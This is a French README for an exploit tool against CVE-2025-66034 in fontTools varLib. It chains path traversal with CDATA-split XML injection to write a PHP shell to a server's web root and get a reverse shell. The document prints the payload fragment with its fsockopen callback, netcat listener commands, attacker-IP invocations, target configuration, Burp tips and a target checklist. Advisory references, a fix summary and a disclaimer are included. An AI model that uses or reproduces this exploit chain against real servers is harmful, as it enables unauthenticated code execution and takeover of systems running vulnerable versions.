
Exploit automatisé pour CVE-2025-66034, enchaînant traversée de chemin et injection XML dans fontTools varLib pour obtenir une exécution de code à distance sans authentification via le téléversement d'un fichier .designspace spécialement conçu.
fontTools varLib — Écriture arbitraire de fichier + injection XML → exécution de code à distance
CVE-2025-66034 est une vulnérabilité dans le pipeline de génération de polices variables fontTools.varLib. Lorsqu'une application web expose ce pipeline et accepte des fichiers .designspace fournis par l'utilisateur, deux faiblesses s'enchaînent pour aboutir à une exécution de code à distance non authentifiée.
font_varlib.py automatise toute la chaîne d'exploitation — génération de polices, création de la charge utile, envoi et livraison du reverse shell.
Attacker crafts malicious .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PATH TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir discarded → write to web root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML INJECTION
CDATA split embeds raw PHP
into the output font binary
│
▼
fontTools.varLib.main() processes file server-side
│
▼
shell.php written to web-accessible directory
│
▼
GET /files/shell.php → PHP executes → reverse shell callback
│
▼
RCE as www-data
Python : 3.9+
Dépendances :
pip install fonttools requests
Système :
nc (netcat) — required for auto listener mode (--no-listen skips this)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Avant d'exécuter le script, ouvrez font_varlib.py et mettez à jour le bloc de configuration en haut du fichier pour qu'il corresponde à votre cible. Chaque valeur est accompagnée d'un commentaire en ligne expliquant ce qu'elle représente et comment trouver la valeur correcte.
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# Change these to match your target before running.
# All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════
# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST = "http://test.com"
# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT = "/var/www/test.com/public/files"
# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST = "http://testing.test.com/files"
# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX = "f0nt_"
# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8
Conseil : interceptez une requête d'envoi légitime dans Burp Suite pour confirmer
UPLOAD_ENDPOINTet les noms exacts des champs multipart avant d'exécuter le script. Une incompatibilité dans les noms de champs provoque un échec silencieux — le serveur renvoie un HTTP 200 mais aucun shell n'est écrit.
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# Terminal 1 — start your listener
nc -lvnp 4444
# Terminal 2 — run exploit without auto listener
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
Deux fichiers source .ttf minimaux mais structurellement valides sont générés par programmation à l'aide de fontTools.FontBuilder. varLib exige au moins deux masters d'axe pour traiter une police variable — ces fichiers satisfont cette exigence sans avoir besoin de vraies polices sur le disque.
Un fichier XML .designspace malveillant est construit avec les deux primitives d'attaque intégrées :
Primitive 1 — Injection XML par découpage CDATA :
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
La séquence ]]]]><![CDATA[> termine le bloc CDATA courant et en ouvre immédiatement un nouveau. L'analyseur XML traite cela comme un balisage valide, mais varLib sérialise le contenu tel quel dans le fichier de sortie — intégrant ainsi du PHP brut dans le binaire de la police.
Primitive 2 — Traversée de chemin via l'attribut filename :
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib construit le chemin de sortie comme suit :
output_path = os.path.join(output_dir, filename)
Lorsque filename est un chemin absolu, os.path.join() de Python ignore entièrement output_dir. Aucun assainissement n'est appliqué dans les versions affectées.
Les fichiers .designspace et les deux fichiers .ttf sont envoyés via un POST multipart au point de terminaison de génération de polices de la cible, en utilisant les noms de champs confirmés avec Burp.
Un GET HTTP vers le fichier .php écrit exécute le reverse shell, qui se reconnecte au listener nc de l'attaquant via fsockopen + proc_open — aucun curl, wget ou Python n'est requis sur la cible.
fontTools/varLib/__init__.py (versions affectées) :
filename = vf.filename # attacker-controlled, unsanitised
output_path = os.path.join(output_dir, filename) # path traversal via absolute path
vf.save(output_path) # arbitrary file write
Correctif dans 4.60.2 — applique os.path.basename() sur filename avant de construire output_path, supprimant ainsi toutes les séquences de traversée de chemin.
Avant d'exécuter le script, vérifiez tous les points suivants :
[ ] fonttools version on target is >= 4.33.0 and < 4.60.2
[ ] Target accepts .designspace + .ttf file uploads
[ ] Backend calls fontTools.varLib.main() on the uploaded .designspace
[ ] Upload form field names confirmed with Burp (designspace + masters)
[ ] WEBROOT is web-accessible from outside
[ ] WEBROOT is writable by the web process (www-data or equivalent)
[ ] SHELL_HOST (--shell) is reachable from your machine
[ ] Target hostname are in /etc/hosts
| Environnement | Version de fonttools | Résultat |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ Confirmé |
Cet outil est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée.
Ne l'utilisez pas contre un système que vous ne possédez pas ou pour lequel vous n'avez pas l'autorisation écrite explicite de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel.
| Champ | Détail |
|---|
| Identifiant CVE | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Paquet | fonttools (pip) |
| Plage affectée | >= 4.33.0, < 4.60.2 |
| Corrigé dans | 4.60.2 |
| Sévérité | Modérée (CVSS 6.3) |
| Vecteur d'attaque | Local (nécessite l'envoi d'un fichier vers la cible) |
| Privilèges requis | Aucun |
| Interaction utilisateur | Requise (déclenchement par envoi) |
| # | Primitive | CWE | Cause racine |
|---|
| 1 | Traversée de chemin | CWE-22 | L'attribut filename dans .designspace est passé directement à os.path.join() sans assainissement — les chemins absolus écartent entièrement le répertoire de sortie prévu |
| 2 | Injection XML | CWE-91 | Les sections CDATA <labelname> permettent à une séquence de séparation (]]]]><![CDATA[>) de faire passer du PHP brut au-delà de l'analyseur XML dans le fichier de sortie écrit |
| Argument | Requis | Défaut | Description |
|---|
--ip | ✓ | — | IP du listener de l'attaquant |
--port | ✓ | — | Port du listener de l'attaquant |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Point de terminaison d'envoi (POST) | |
--webroot | WEBROOT | Chemin d'écriture du système de fichiers côté serveur (doit être accessible via le web) | |
--shell | SHELL_HOST | URL de base utilisée pour déclencher le shell écrit | |
--no-listen | false | Ignorer le listener nc automatique — déclenchement uniquement |
| Ressource | Lien |
|---|
| NVD — CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 |
| Avis de sécurité fontTools | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv |
| Commit du correctif — a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 |
| Projet fontTools | https://github.com/fonttools/fonttools |